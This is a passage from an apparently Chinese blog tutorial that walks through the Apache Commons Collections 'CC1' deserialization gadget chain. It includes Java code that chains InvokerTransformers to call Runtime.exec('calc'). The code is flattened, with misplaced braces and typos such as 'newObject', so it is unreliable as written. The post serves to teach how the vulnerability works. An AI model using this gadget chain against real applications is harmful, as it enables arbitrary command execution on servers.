详解Java反序列化漏洞( 三 )


readObject(),那在反序列化的时候Java会优先调用重写的readObject()方法,这样就有了入口点
Payload分析
正文之前,在这之前说下我对getMethod和invoke这两个方法的理解
getMethod
返回一个Method对象,getMethod获取的是某个类下的某个方法,第一个参数是方法名,第二个参数 要看这个方法需要什么参数,如果需要字符串,那我们就写String.class,如果不需要传参,则用null即可
invoke
调用包装在当前Method对象中的方法 ,第一个参数是obj,也就是实例化的对象,第二个参数是方法(这里的方法是指getMethod第一个参数对应的方法)需要的参数
分析
我们直接拿ysoserial中的cc1的链子来对照着写一个(这里的代码借鉴了一位大佬的...但是网址忘记了....)
import org.Apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;import org.apache.commons.collections.Transformer; import java.util.HashMap;import java.util.Map;public class test{public static void main(String[] args){Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, newObject[] { "calc" }) };Transformer transformerChain = new ChainedTransformer(transformers);} }Map innermap = new HashMap();innermap.put("name", "hello");Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah");我们直接IDEA拉出来打个断点开始疯狂debug

详解Java反序列化漏洞

文章插图
 
先跟这个实例化对象,看看发生了什么大事件
new ConstantTransformer()部分
详解Java反序列化漏洞

文章插图
 
这里传进来一个Runtime.class字节码文件,然后赋值给了被private和final修饰的iConstant变量,我们看一下这个变量
详解Java反序列化漏洞

文章插图
 
new InvokerTransformer()部分
继续往下跟,跟到InvokerTranformer类的构造方法
详解Java反序列化漏洞

文章插图
 

详解Java反序列化漏洞

文章插图
 
第一个参数是getMethod的作用是获取对象的方法
第二个参数是两个字节码文件String.class和Class.class
第三个参数是Runtime.class下的静态方法
详解Java反序列化漏洞

文章插图
 
继续往下debug,依然是InvokerTransformer
详解Java反序列化漏洞

文章插图
 
第一个参数是invoke的作用是让这个方法执行
第二个参数是两个字节码文件Object.class和Object.class
第三个参数是一个Object类型的数组,为空
详解Java反序列化漏洞

文章插图
 
继续往下跟
详解Java反序列化漏洞

文章插图
 
第一个参数是exec的作用是执行系统命令,这个方法是Runtime.class下的
第二个参数是字节码文件String.class
第三个参数是Object类型的数组,里面只有一个元素calc(这里就是调用的地方)
new ChainedTransformer部分
详解Java反序列化漏洞

文章插图
 
这里把这个有四个对象的数组传入了ChainedTransformer中的有参构造方法处理
详解Java反序列化漏洞

文章插图
 
赋值给了iTransformers
new HashMap()部分
详解Java反序列化漏洞

文章插图
 
这里定义了一个底层为哈希表的数组,然后用put方法添加了key和value
TransformedMap.decorate静态方法部分
详解Java反序列化漏洞

文章插图
 
在返回值中new了一个TransformedMap,调用了自身的有参构造方法


推荐阅读